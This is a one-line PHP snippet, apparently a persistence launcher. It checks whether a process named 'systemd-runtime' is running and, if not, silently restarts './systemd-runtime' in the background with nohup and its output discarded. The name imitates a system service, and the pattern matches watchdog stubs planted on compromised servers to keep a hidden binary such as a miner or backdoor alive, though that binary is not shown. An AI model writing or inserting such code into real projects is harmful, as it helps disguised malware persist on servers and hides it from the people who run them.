$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); }